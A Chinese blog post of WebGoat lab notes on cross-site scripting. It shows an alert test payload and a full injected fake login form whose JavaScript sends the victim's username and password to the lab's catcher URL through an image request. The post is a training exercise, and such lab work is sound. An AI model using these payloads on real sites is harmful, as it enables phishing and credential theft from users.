博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
【WebGoat笔记】--- Cross-Site Scripting(XSS)
阅读量:6789 次
发布时间:2019-06-26

本文共 1494 字,大约阅读时间需要 4 分钟。

 

目标:

伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

 

解决步骤:

首先:随意输入搜索内容,如:123.

打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。

第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>

成功报出提示信息:

值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。

 

第三步:构造代码,伪造一个登陆界面:

<form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 

其中,οnclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。

第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:

<script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"οnclick="hack()"></form><br><br><HR> 

这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。

webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。

 

转载地址:http://vosgo.baihongyu.com/

你可能感兴趣的文章
如何对List中的对象进行排序
查看>>
如何在Eclipse中添加Tomcat的jar包
查看>>
SQLSERVER 2012之AlwaysOn -- 同步模式下的网卡性能优化
查看>>
MavenInAction
查看>>
ArcGIS Engine开发之旅03--ArcGIS Engine中的控件
查看>>
项目实战--项目介绍
查看>>
西部数据财报抢眼 但东芝谈判案或将影响其NAND供应
查看>>
docker进入容器
查看>>
Shell中反引号(`)与$()用法的区别
查看>>
水仙花数&amp;素数&amp;质因数分解的C语言实现
查看>>
MTD应用学习:mtd和mtdblock的区别
查看>>
如何使用分布是缓存Hazelcast
查看>>
Alluxio源码分析定位策略:循环遍历策略RoundRobinPolicy
查看>>
SaaS与AI,云客服的天平到底应该偏向哪边?
查看>>
Spark-ML-01-小试spark分析离线商品信息
查看>>
10月20日云栖精选夜读:揭秘云栖大会VR直播云服务解决方案的技术亮点和核心能力...
查看>>
DockOne微信分享(一四三):FreeWheel基于Kubernetes容器云构建与实践:应用编排与服务质量保证...
查看>>
【hadoop】 running beyond virtual memory错误原因及解决办法
查看>>
5G概念炒的火热,公共WiFi建设却为何不见进展?
查看>>
c/c++中指针学习的两个绝好例子
查看>>